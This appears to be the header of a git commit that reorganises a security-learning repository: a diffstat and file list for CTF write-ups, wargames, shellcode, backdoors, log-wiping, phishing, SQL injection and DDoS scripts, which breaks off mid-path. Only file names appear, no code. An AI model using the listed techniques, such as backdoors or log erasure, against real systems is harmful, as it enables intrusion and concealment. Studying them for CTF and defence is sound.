From bede0e3e796fdf456a39eb6e59d015307951cac2 Mon Sep 17 00:00:00 2001 From: bt3gl Date: Mon, 4 Nov 2024 19:30:49 +0700 Subject: [PATCH] remove dead urls, clean up readme --- .gitignore | 57 - .travis.yml | 9 - CTFs_and_WarGames/2014/CSAW-quals/README.md | 0 .../CSAW-quals/cryptography/crypto-200/bt3gl | 0 .../cryptography/crypto-200/crypto-200 | 0 .../2014/CSAW-quals/forensics/README.md | 0 CTFs_and_WarGames/CTFs-RECON.md | 3 +- .../CTFs_Writeups/9447/README.md | 213 +++ .../9447/nosql/capture.pcap | Bin .../9447/nosql/client.py | 0 .../9447/nosql/server.py | 0 .../ASIS-final/crypto_paillier/__init__.py | 0 .../crypto_paillier/answer_pallier.py | 1 - .../crypto_paillier/binary_search.py | 1 - .../ASIS-final/crypto_paillier/constants.py | 0 .../ASIS-final/crypto_paillier/nc_paillier.py | 1 - .../ASIS-final/crypto_paillier/paillier.md | 21 +- .../crypto_paillier/paillier_my_poc.py | 0 .../cryptography/crypto-200/README.md | 293 ++++ .../cryptography/crypto-200/__init__.py | 0 .../cryptography/crypto-200/caesarCipher.py | 0 .../crypto-200/from_the_net/psifer-school.php | 0 .../crypto-200/from_the_net/psifer-school.pl | 0 .../CSAW-quals/cryptography/crypto-200/locate | 0 .../cryptography/crypto-200/psifer-school.py | 0 .../cryptography/crypto-200/pygenere.py | 0 .../CSAW-quals/cryptography/crypto-200/scully | 0 .../CSAW-quals/forensics/README.md | 1012 ++++++++++++ .../CSAW-quals/forensics/big-data/README.md | 0 .../forensics/big-data/firefox.mem.zip | Bin .../fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 | Bin .../CSAW-quals/forensics/fluffy/README.md | 1 - .../CSAW-quals/forensics/fluffy/analytics.js | 0 .../forensics/fluffy/announcemen.pdf | Bin .../CSAW-quals/forensics/fluffy/html5.js | 0 .../CSAW-quals/forensics/fluffy/pdf-parser.py | 0 .../CSAW-quals/forensics/fluffy/unpacked.txt | 0 .../CSAW-quals/forensics/obscurity/README.md | 0 .../forensics/obscurity/pdf-parser.py | 0 .../CSAW-quals/forensics/obscurity/pdf.pdf | Bin .../CSAW-quals/forensics/obscurity/pdfid.py | 0 .../forensics/why-not-sftp/README.md | 0 .../forensics/why-not-sftp/traffic-5.pcap | Bin .../CSAW-quals/networking/README.md | 3 +- .../CSAW-quals/networking/pcap.pcapng | Bin .../eggshells-100/README.md | 4 +- .../eggshells-master/capstone.py | 0 .../eggshells-100/eggshells-master/distorm.py | 0 .../eggshells-master/interpreter.py | 0 .../eggshells-100/eggshells-master/lol.py | 0 .../eggshells-100/eggshells-master/main.py | 0 .../eggshells-100/eggshells-master/nasm.py | 0 .../eggshells-master/nasm/.DS_Store | Bin .../eggshells-master/nasm/LICENSE | 0 .../eggshells-master/nasm/nasm.exe | Bin .../eggshells-master/nasm/ndisasm.exe | Bin .../eggshells-master/nasm/rdoff/ldrdf.exe | Bin .../eggshells-master/nasm/rdoff/rdf2bin.exe | Bin .../eggshells-master/nasm/rdoff/rdf2com.exe | Bin .../eggshells-master/nasm/rdoff/rdf2ihx.exe | Bin .../eggshells-master/nasm/rdoff/rdf2ith.exe | Bin .../eggshells-master/nasm/rdoff/rdf2srec.exe | Bin .../eggshells-master/nasm/rdoff/rdfdump.exe | Bin .../eggshells-master/nasm/rdoff/rdflib.exe | Bin .../eggshells-master/nasm/rdoff/rdx.exe | Bin .../eggshells-100/eggshells-master/server.py | 0 .../eggshells-master/shellcode.py | 0 .../eggshells-100/eggshells-master/wrapper.py | 0 .../CTFs_Writeups/DefCamp/README.md | 381 +++++ .../Hack.lu/300_peace_pipe.py | 0 .../CTFs_Writeups/Hack.lu/README.md | 257 +++ .../Hack.lu/SSH_implementation_example.py | 0 .../STRIPE_1-2-3/1/pickle_attack.sh | 0 .../STRIPE_1-2-3/1/shellcode.py | 0 .../STRIPE_1-2-3/1/shellcode/Makefile | 0 .../1/shellcode/how_to_compile_asm_32.md | 0 .../1/shellcode/simplest_shellcode.c | 0 .../1/shellcode/simplest_shellcode_32.s | 0 .../STRIPE_1-2-3/1/st_ctf1_1.sh | 0 .../STRIPE_1-2-3/1/st_ctf1_2.sh | 0 .../STRIPE_1-2-3/1/st_ctf1_3.sh | 0 .../STRIPE_1-2-3/1/timming_attack.sh | 0 .../CTFs_Writeups/STRIPE_1-2-3/README.md | 575 +++++++ .../Shariff_University/README.md | 159 ++ CTFs_and_WarGames/LICENSE | 21 - CTFs_and_WarGames/README.md | 22 +- CTFs_and_WarGames/WARGAMES/README.md | 10 +- CTFs_and_WarGames/WARGAMES/krypton/README.md | 317 ++++ CTFs_and_WarGames/WARGAMES/narnia/README.md | 1057 ++++++++++++ CTFs_and_WarGames/WARGAMES/natas.md | 1432 +++++++++++++++++ Cloud_and_K8s_Hacking/README.md | 13 + Cloud_and_K8s_Hacking/intro_heroku.md | 199 +++ .../Block_Ciphers/DES/DES_CFB_example.py | 2 +- .../Block_Ciphers/DES/DES_ECB_example.py | 2 +- .../VimeoHashExploit/client.py | 2 +- .../VimeoHashExploit/requirements.txt | 5 +- .../MD5/brute_force_hex_digest_chars.py | 2 +- .../Hash_Functions/MD5/checksum_file.py | 4 +- Cryptography/README.md | 15 +- .../Rotation-Ciphers/cesarCipher_simple.py | 3 +- .../Rotation-Ciphers/cesarCipher_simple_2.py | 3 +- .../Rotation-Ciphers/taste_like_english.py | 3 +- Cryptography/everything_GPG.md | 222 +++ DJI_0062.jpg | Bin 2740063 -> 0 bytes Forensics/IOCs/README.md | 2 + .../IOCs}/kaspersky_careto_C2.txt | 0 .../IOCs}/kaspersky_careto_domains.txt | 0 .../IOCs}/kaspersky_careto_files.txt | 0 .../kaspersky_careto_files_no-env-vars.txt | 0 .../IOCs}/kaspersky_careto_registry.txt | 0 Forensics/README.md | 6 +- LICENSE | 22 - Linux_Hacking/README.md | 498 ++++-- Linux_Hacking/ShellShocker/.DS_Store | Bin 6148 -> 0 bytes Linux_Hacking/ShellShocker/scripts/.DS_Store | Bin 6148 -> 0 bytes .../memoring.md | 1 + Linux_Hacking/intro_GRUB.md | 37 + {Mobile => Mobile_Hacking}/README.md | 9 +- Network_and_802.11/.DS_Store | Bin 8196 -> 0 bytes Network_and_802.11/DNS_recon.md | 375 +++++ .../Ddos_Attacks/Botnets/README.md | 5 + .../Ddos_Attacks/Botnets/malicious.txt | 94 ++ Network_and_802.11/Ddos_Attacks/README.md | 112 ++ Network_and_802.11/README.md | 5 +- Network_and_802.11/TOR_proxy_in_RaspPi.md | 325 ++++ Network_and_802.11/how_to_netcat.md | 24 + Network_and_802.11/incident_response.md | 740 +++++++++ Network_and_802.11/netaddr/send_mail.py | 4 +- Network_and_802.11/netaddr/test_netaddr.py | 4 +- .../other_scripts/netcat_shell.py | 4 +- Network_and_802.11/packet_scripting.md | 775 +++++++++ Network_and_802.11/paramiko/README.md | 2 +- Network_and_802.11/paramiko/ssh_client.py | 2 +- .../paramiko/ssh_client_reverse.py | 2 +- Network_and_802.11/paramiko/ssh_server.py | 4 +- Network_and_802.11/scanner/README.md | 4 +- Network_and_802.11/scapy/README.md | 10 +- .../scapy/arp_cache_poisoning.py | 2 +- Network_and_802.11/scapy/ddos.py | 4 +- Network_and_802.11/scapy/dns_poisoning.py | 4 +- Network_and_802.11/scapy/example_hexdump.py | 4 +- Network_and_802.11/scapy/icmp_ping_sweep.py | 4 +- Network_and_802.11/scapy/nmap.py | 4 +- Network_and_802.11/scapy/os_fingerpringing.py | 2 +- Network_and_802.11/scapy/pcap_processing.py | 2 +- Network_and_802.11/scapy/ping.py | 4 +- Network_and_802.11/scapy/plotting.py | 4 +- Network_and_802.11/scapy/receive_packet.py | 4 +- Network_and_802.11/scapy/route.py | 4 +- Network_and_802.11/scapy/scanning_ip.py | 4 +- Network_and_802.11/scapy/scanning_port.py | 4 +- Network_and_802.11/scapy/send_packet.py | 4 +- Network_and_802.11/scapy/sniff_simple.py | 4 +- Network_and_802.11/scapy/ssid.py | 4 +- Network_and_802.11/scapy/stealing_emails.py | 2 +- Network_and_802.11/scapy/super_scanner.py | 4 +- Network_and_802.11/scapy/tcp_handshake.py | 4 +- Network_and_802.11/scapy/third_party_mod.py | 4 +- Network_and_802.11/scapy/tools.py | 4 +- Network_and_802.11/socket/README.md | 4 +- Network_and_802.11/socket/crack_linksys.py | 2 +- Network_and_802.11/socket/netcat_awesome.py | 4 +- Network_and_802.11/socket/netcat_simple.py | 4 +- Network_and_802.11/socket/tcp_client.py | 2 +- Network_and_802.11/socket/tcp_proxy.py | 4 +- Network_and_802.11/socket/tcp_server.py | 2 +- Network_and_802.11/socket/udp_client.py | 2 +- Network_and_802.11/socket/udp_server.py | 4 +- Network_and_802.11/socket_scripting.md | 732 +++++++++ Network_and_802.11/ssh_scripting.md | 365 +++++ .../telnetlib/reading_telnet.py | 2 +- Network_and_802.11/udp_scanner.md | 319 ++++ Network_and_802.11/wireshark_stuff/.DS_Store | Bin 6148 -> 0 bytes Network_and_802.11/wireshark_stuff/README.md | 4 +- Other_Hackings/.DS_Store | Bin 8196 -> 6148 bytes .../Dockerfiles_for_Hacking}/Dockerfile_kali | 0 .../Dockerfiles_for_Hacking/README.md | 1 + .../Guides_from_other_hackers}/cRYvK4jb.txt | 0 Other_Hackings/README.md | 2 - Other_Hackings/useful_lists/.DS_Store | Bin 6148 -> 0 bytes .../useful_scripts/find_word_inside_text.py | 2 +- Other_Hackings/wordlists/.DS_Store | Bin 12292 -> 0 bytes {Pen_Testing => Pentesting_Scripts}/.DS_Store | Bin {Pen_Testing => Pentesting_Scripts}/README.md | 8 +- .../networkintrusionpostermed.png | Bin README.md | 217 +-- Reverse_Engineering/README.md | 14 +- Rubber_Duck/README.md | 6 +- .../DNS => Steganography}/.DS_Store | Bin 6148 -> 6148 bytes {IOCs => Steganography/Images}/.DS_Store | Bin 6148 -> 6148 bytes .../Images/dec_image/._color_crypto.py | Bin 287 -> 0 bytes .../Images/xor_and_adding}/.DS_Store | Bin 6148 -> 6148 bytes .../xor_and_adding/compare_two_images.py | 1 + .../Images/xor_and_adding/xor_bytes.py | 2 +- .../xor_image_broken/xor_image.py | 1 + Steganography/README.md | 3 +- .../Memory_Exploits}/Assembly/RUNNING_ASM.sh | 0 .../Memory_Exploits}/Assembly/asm_compiler.sh | 0 .../Memory_Exploits}/Assembly/get_shell.asm | 0 .../Assembly/netcat_backdoor.asm | 0 .../Memory_Exploits}/Assembly/shellspawn | 0 .../Memory_Exploits}/Assembly/shellspawn.asm | 0 .../Buffer_overflows/stack_overflow_narnia.md | 6 +- .../C-codes/crawl_passwd_file.c | 0 .../Memory_Exploits}/C-codes/dos_tool.c | 0 .../C-codes/get_stack_pointer.c | 0 .../Memory_Exploits}/C-codes/getshadd.c | 0 .../Memory_Exploits}/C-codes/http_backdoor.c | 0 .../Memory_Exploits}/C-codes/leave_no_log.c | 0 .../Memory_Exploits}/C-codes/md5_xor.c | 0 .../C-codes/shellcode_encode.c | 0 .../C-codes/stack_overflow_generator.c | 0 .../Memory_Exploits}/C-codes/strobe.c | 0 .../C-codes/testing_shellcode.c | 0 .../C-codes/testing_shellcode2.c | 0 .../C-codes/testing_shellcode3.c | 0 .../C-codes/testing_shellcode4.c | 0 .../Integer_Overflows/integer_overflows.md | 0 .../Memory_Exploits}/README.md | 8 +- .../bash/find_setuid_programs.sh | 0 .../bash/get_shellcode_form_an_exe.sh | 0 .../Memory_Exploits}/python-codes/eggdis.py | 0 Vulnerabilities_and_Exploits/README.md | 7 +- Vulnerabilities_and_Exploits/shellshock.md | 421 +++++ .../A_list_of_common_vulnerabilities.md | 339 +++- Web_Hacking/Chrome_Security_and_V8.md | 191 +++ Web_Hacking/JavaScript_crash_course.md | 423 +++++ .../OS_Command_Injection/README.md | 0 .../sqli_password_brute_force.py | 0 .../PHP_shellcodes/phpprimer_v0.1.pdf | 0 .../tricking_file_extension_gif.php | 0 .../PHP_shellcodes/xor.php | 0 .../Phishing/README.md | 0 .../Phishing/log.php | 0 .../SQLi/CVE-2014-7289_exploit.py | 0 {Web_Security => Web_Hacking}/SQLi/README.md | 0 .../SQLi/sqli_16_brute_force_password.py | 0 .../SQLi/sqli_18_timed_SQLi.py | 0 .../SQLi/sqli_COOKIE_brute.py | 0 .../Scanners/README.md | 0 .../Scanners/heartbleed.py | 0 Web_Hacking/guide_to_certs_and_cas.md | 123 ++ Web_Hacking/intro_to_LAMP.md | 260 +++ .../urllib2/README.md | 6 +- .../urllib2/brute_forcing_form_auth.py | 0 .../urllib2/brute_forcing_locations.py | 0 .../urllib2/mapping_web_app_install.py | 0 .../urllib2/simple_http_requests.py | 0 .../user_id/sqli_19_cookie_auth.py | 0 .../user_id/sqli_20_user_id_2.py | 0 requirements.txt | 30 - 251 files changed, 12365 insertions(+), 627 deletions(-) delete mode 100644 .gitignore delete mode 100644 .travis.yml delete mode 100644 CTFs_and_WarGames/2014/CSAW-quals/README.md delete mode 100644 CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/bt3gl delete mode 100644 CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/crypto-200 delete mode 100644 CTFs_and_WarGames/2014/CSAW-quals/forensics/README.md create mode 100644 CTFs_and_WarGames/CTFs_Writeups/9447/README.md rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/9447/nosql/capture.pcap (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/9447/nosql/client.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/9447/nosql/server.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/__init__.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/answer_pallier.py (97%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/binary_search.py (96%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/constants.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/nc_paillier.py (97%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/paillier.md (94%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/ASIS-final/crypto_paillier/paillier_my_poc.py (100%) create mode 100644 CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/README.md rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/__init__.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/caesarCipher.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/locate (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/psifer-school.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/pygenere.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/cryptography/crypto-200/scully (100%) create mode 100644 CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/big-data/README.md (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/big-data/firefox.mem.zip (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/README.md (99%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/analytics.js (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/announcemen.pdf (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/html5.js (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/pdf-parser.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/fluffy/unpacked.txt (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/obscurity/README.md (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/obscurity/pdf-parser.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/obscurity/pdf.pdf (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/obscurity/pdfid.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/why-not-sftp/README.md (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/networking/README.md (95%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/networking/pcap.pcapng (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/README.md (98%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/capstone.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/distorm.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/interpreter.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/lol.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/main.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/server.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/shellcode.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/CSAW-quals/reverse-engineering/eggshells-100/eggshells-master/wrapper.py (100%) create mode 100644 CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/Hack.lu/300_peace_pipe.py (100%) create mode 100644 CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/Hack.lu/SSH_implementation_example.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/pickle_attack.sh (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/shellcode.py (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/shellcode/Makefile (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/st_ctf1_1.sh (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/st_ctf1_2.sh (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/st_ctf1_3.sh (100%) rename CTFs_and_WarGames/{2014 => CTFs_Writeups}/STRIPE_1-2-3/1/timming_attack.sh (100%) create mode 100644 CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md create mode 100644 CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md delete mode 100644 CTFs_and_WarGames/LICENSE create mode 100644 CTFs_and_WarGames/WARGAMES/krypton/README.md create mode 100644 CTFs_and_WarGames/WARGAMES/narnia/README.md create mode 100644 CTFs_and_WarGames/WARGAMES/natas.md create mode 100644 Cloud_and_K8s_Hacking/README.md create mode 100644 Cloud_and_K8s_Hacking/intro_heroku.md create mode 100644 Cryptography/everything_GPG.md delete mode 100644 DJI_0062.jpg create mode 100644 Forensics/IOCs/README.md rename {IOCs => Forensics/IOCs}/kaspersky_careto_C2.txt (100%) rename {IOCs => Forensics/IOCs}/kaspersky_careto_domains.txt (100%) rename {IOCs => Forensics/IOCs}/kaspersky_careto_files.txt (100%) rename {IOCs => Forensics/IOCs}/kaspersky_careto_files_no-env-vars.txt (100%) rename {IOCs => Forensics/IOCs}/kaspersky_careto_registry.txt (100%) delete mode 100644 LICENSE delete mode 100644 Linux_Hacking/ShellShocker/.DS_Store delete mode 100644 Linux_Hacking/ShellShocker/scripts/.DS_Store create mode 100644 Linux_Hacking/getting_unencryp_ssh_keys_from_memory/memoring.md create mode 100644 Linux_Hacking/intro_GRUB.md rename {Mobile => Mobile_Hacking}/README.md (77%) delete mode 100644 Network_and_802.11/.DS_Store create mode 100644 Network_and_802.11/DNS_recon.md create mode 100644 Network_and_802.11/Ddos_Attacks/Botnets/README.md create mode 100755 Network_and_802.11/Ddos_Attacks/Botnets/malicious.txt create mode 100644 Network_and_802.11/Ddos_Attacks/README.md create mode 100644 Network_and_802.11/TOR_proxy_in_RaspPi.md create mode 100644 Network_and_802.11/how_to_netcat.md create mode 100644 Network_and_802.11/incident_response.md create mode 100644 Network_and_802.11/packet_scripting.md create mode 100644 Network_and_802.11/socket_scripting.md create mode 100644 Network_and_802.11/ssh_scripting.md create mode 100644 Network_and_802.11/udp_scanner.md delete mode 100644 Network_and_802.11/wireshark_stuff/.DS_Store rename {Dockerfiles => Other_Hackings/Dockerfiles_for_Hacking}/Dockerfile_kali (100%) create mode 100644 Other_Hackings/Dockerfiles_for_Hacking/README.md rename {Other_guides => Other_Hackings/Guides_from_other_hackers}/cRYvK4jb.txt (100%) delete mode 100644 Other_Hackings/useful_lists/.DS_Store delete mode 100644 Other_Hackings/wordlists/.DS_Store rename {Pen_Testing => Pentesting_Scripts}/.DS_Store (100%) rename {Pen_Testing => Pentesting_Scripts}/README.md (93%) rename {Pen_Testing => Pentesting_Scripts}/networkintrusionpostermed.png (100%) rename {Network_and_802.11/DNS => Steganography}/.DS_Store (92%) rename {IOCs => Steganography/Images}/.DS_Store (73%) delete mode 100644 Steganography/Images/dec_image/._color_crypto.py rename {Linux_Hacking => Steganography/Images/xor_and_adding}/.DS_Store (77%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/RUNNING_ASM.sh (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/asm_compiler.sh (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/get_shell.asm (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/netcat_backdoor.asm (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/shellspawn (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Assembly/shellspawn.asm (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Buffer_overflows/stack_overflow_narnia.md (99%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/crawl_passwd_file.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/dos_tool.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/get_stack_pointer.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/getshadd.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/http_backdoor.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/leave_no_log.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/md5_xor.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/shellcode_encode.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/stack_overflow_generator.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/strobe.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/testing_shellcode.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/testing_shellcode2.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/testing_shellcode3.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/C-codes/testing_shellcode4.c (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/Integer_Overflows/integer_overflows.md (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/README.md (95%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/bash/find_setuid_programs.sh (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/bash/get_shellcode_form_an_exe.sh (100%) rename {Memory_Exploits => Vulnerabilities_and_Exploits/Memory_Exploits}/python-codes/eggdis.py (100%) create mode 100644 Vulnerabilities_and_Exploits/shellshock.md rename Web_Security/README.md => Web_Hacking/A_list_of_common_vulnerabilities.md (54%) create mode 100644 Web_Hacking/Chrome_Security_and_V8.md create mode 100644 Web_Hacking/JavaScript_crash_course.md rename {Web_Security => Web_Hacking}/OS_Command_Injection/README.md (100%) rename {Web_Security => Web_Hacking}/OS_Command_Injection/sqli_password_brute_force.py (100%) rename {Web_Security => Web_Hacking}/PHP_shellcodes/phpprimer_v0.1.pdf (100%) rename {Web_Security => Web_Hacking}/PHP_shellcodes/tricking_file_extension_gif.php (100%) rename {Web_Security => Web_Hacking}/PHP_shellcodes/xor.php (100%) rename {Web_Security => Web_Hacking}/Phishing/README.md (100%) rename {Web_Security => Web_Hacking}/Phishing/log.php (100%) rename {Web_Security => Web_Hacking}/SQLi/CVE-2014-7289_exploit.py (100%) rename {Web_Security => Web_Hacking}/SQLi/README.md (100%) rename {Web_Security => Web_Hacking}/SQLi/sqli_16_brute_force_password.py (100%) rename {Web_Security => Web_Hacking}/SQLi/sqli_18_timed_SQLi.py (100%) rename {Web_Security => Web_Hacking}/SQLi/sqli_COOKIE_brute.py (100%) rename {Web_Security => Web_Hacking}/Scanners/README.md (100%) rename {Web_Security => Web_Hacking}/Scanners/heartbleed.py (100%) create mode 100644 Web_Hacking/guide_to_certs_and_cas.md create mode 100644 Web_Hacking/intro_to_LAMP.md rename {Web_Security => Web_Hacking}/urllib2/README.md (96%) rename {Web_Security => Web_Hacking}/urllib2/brute_forcing_form_auth.py (100%) rename {Web_Security => Web_Hacking}/urllib2/brute_forcing_locations.py (100%) rename {Web_Security => 